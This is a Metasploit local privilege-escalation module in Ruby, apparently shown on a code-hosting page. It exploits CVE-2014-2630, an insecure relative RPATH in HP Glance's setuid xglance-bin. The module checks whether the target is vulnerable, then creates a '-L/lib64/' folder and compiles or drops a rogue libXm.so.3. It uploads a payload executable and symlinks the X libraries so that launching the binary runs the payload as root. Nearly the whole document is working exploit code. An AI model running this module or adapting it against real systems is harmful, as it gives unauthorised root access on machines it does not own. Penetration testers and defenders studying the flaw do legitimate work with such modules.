Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = GreatRanking
8

9
  include Msf::Post::Linux::Priv
10
  include Msf::Post::Linux::System
11
  include Msf::Post::Linux::Compile
12
  include Msf::Post::File
13
  include Msf::Exploit::EXE
14
  include Msf::Exploit::FileDropper
15
  prepend Msf::Exploit::Remote::AutoCheck
16

17
  def initialize(info = {})
18
    super(
19
      update_info(
20
        info,
21
        'Name' => 'HP Performance Monitoring xglance Priv Esc',
22
        'Description' => %q{
23
          This exploit takes advantage of xglance-bin, part of
24
          HP's Glance (or Performance Monitoring) version 11 'and subsequent'
25
          , which was compiled with an insecure RPATH option.  The RPATH includes
26
          a relative path to -L/lib64/ which can be controlled by a user.
27
          Creating libraries in this location will result in an
28
          escalation of privileges to root.
29
        },
30
        'License' => MSF_LICENSE,
31
        'Author' => [
32
          'h00die', # msf module
33
          'Tim Brown', # original finding
34
          'Robert Jaroszuk', # exploit
35
          'Marco Ortisi', # exploit
36
        ],
37
        'Platform' => [ 'linux' ],
38
        'Arch' => [ ARCH_X86, ARCH_X64 ],
39
        'SessionTypes' => [ 'shell', 'meterpreter' ],
40
        'Targets' => [
41
          [ 'Automatic', {} ],
42
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
43
          [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
44
        ],
45
        'Privileged' => true,
46
        'References' => [
47
          [ 'EDB', '48000' ],
48
          [ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/55' ], # permissions, original finding
49
          [ 'URL', 'https://www.redtimmy.com/linux-hacking/perf-exploiter/' ], # exploit
50
          [ 'URL', 'https://github.com/redtimmy/perf-exploiter' ],
51
          [ 'PACKETSTORM', '156206' ],
52
          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2630/' ],
53
          [ 'CVE', '2014-2630' ]
54
        ],
55
        'DisclosureDate' => '2014-11-19',
56
        'DefaultTarget' => 0,
57
        'Notes' => {
58
          'Stability' => [CRASH_SAFE],
59
          'Reliability' => [REPEATABLE_SESSION],
60
          'SideEffects' => [ARTIFACTS_ON_DISK]
61
        }
62
      )
63
    )
64
    register_options [
65
      OptString.new('GLANCE_PATH', [ true, 'Path to xglance-bin', '/opt/perf/bin/xglance-bin' ])
66
    ]
67
    register_advanced_options [
68
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
69
    ]
70
  end
71

72
  # Simplify pulling the writable directory variable
73
  def base_dir
74
    datastore['WritableDir'].to_s
75
  end
76

77
  def exploit_folder
78
    "#{base_dir}/-L/lib64/"
79
  end
80

81
  def glance_path
82
    datastore['GLANCE_PATH'].to_s
83
  end
84

85
  # Pull the exploit binary or file (.c typically) from our system
86
  def exploit_data(file)
87
    ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-2630', file)
88
  end
89

90
  def find_libs
91
    libs = cmd_exec "ldd #{glance_path} | grep libX"
92
    %r{(?<lib>libX.+\.so\.\d) => -L/lib64} =~ libs
93
    return nil if lib.nil?
94

95
    lib
96
  end
97

98
  def check
99
    return CheckCode::Safe("#{glance_path} file not found") unless file? glance_path
100
    return CheckCode::Safe("#{glance_path} is not setuid") unless setuid? glance_path
101

102
    lib = find_libs
103
    if lib.nil?
104
      vprint_error 'Patched xglance-bin, not linked to -L/lib64/'
105
      return CheckCode::Safe
106
    end
107
    vprint_good "xglance-bin found, and linked to vulnerable relative path -L/lib64/ through #{lib}"
108
    CheckCode::Appears
109
  end
110

111
  def exploit
112
    if !datastore['ForceExploit'] && is_root?
113
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
114
    end
115

116
    unless writable? base_dir
117
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
118
    end
119

120
    # delete exploit folder in case a previous attempt failed
121
    vprint_status("Deleting exploit folder: #{base_dir}/-L")
122
    rm_cmd = "rm -rf \"#{base_dir}/-L\""
123
    cmd_exec(rm_cmd)
124
    # make folder
125
    vprint_status("Creating exploit folder: #{exploit_folder}")
126
    cmd_exec "mkdir -p #{exploit_folder}"
127
    register_dir_for_cleanup "#{base_dir}/-L"
128

129
    # drop our .so on the system that calls our payload
130
    # we need gcc to compile instead of metasm since metasm
131
    # removes unused variables, which we need to keep xglance-bin
132
    # from breaking and not launching our exploit
133
    so_file = "#{exploit_folder}libXm.so.3"
134
    if live_compile?
135
      vprint_status 'Live compiling exploit on system...'
136
      payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
137
      code = exploit_data('CVE-2014-2630.c')
138
      code.sub!(payload_path.to_s, payload_path) # inject our payload path
139
      upload_and_compile so_file, code, '-fPIC -shared -static-libgcc'
140
      rm_f "#{so_file}.c"
141
    else
142
      payload_path = '/tmp/.u4aLoiq'
143
      vprint_status 'Dropping pre-compiled exploit on system...'
144
      upload_and_chmodx so_file, exploit_data('libXm.so.3')
145
    end
146

147
    # Upload payload executable
148
    vprint_status 'uploading payload'
149
    upload_and_chmodx payload_path, generate_payload_exe
150

151
    # link so files to exploit vuln
152
    lib = find_libs
153
    # just to be safe, Xt and Xp were in the original exploit
154
    # our mock binary is also exploitsable through libXmu.so.6
155
    # unsure about the real binary
156
    cd exploit_folder
157
    ['libXp.so.6', 'libXt.so.6', 'libXmu.so.6', lib].each do |l|
158
      cmd_exec "ln -s libXm.so.3 #{l}"
159
    end
160

161
    # Launch exploit
162
    print_status 'Launching xglance-bin...'
163
    cd base_dir
164
    output = cmd_exec glance_path
165
    output.each_line { |line| vprint_status line.chomp }
166
    print_warning("Manual cleanup of #{exploit_folder} may be required")
167
  end
168
end
169

170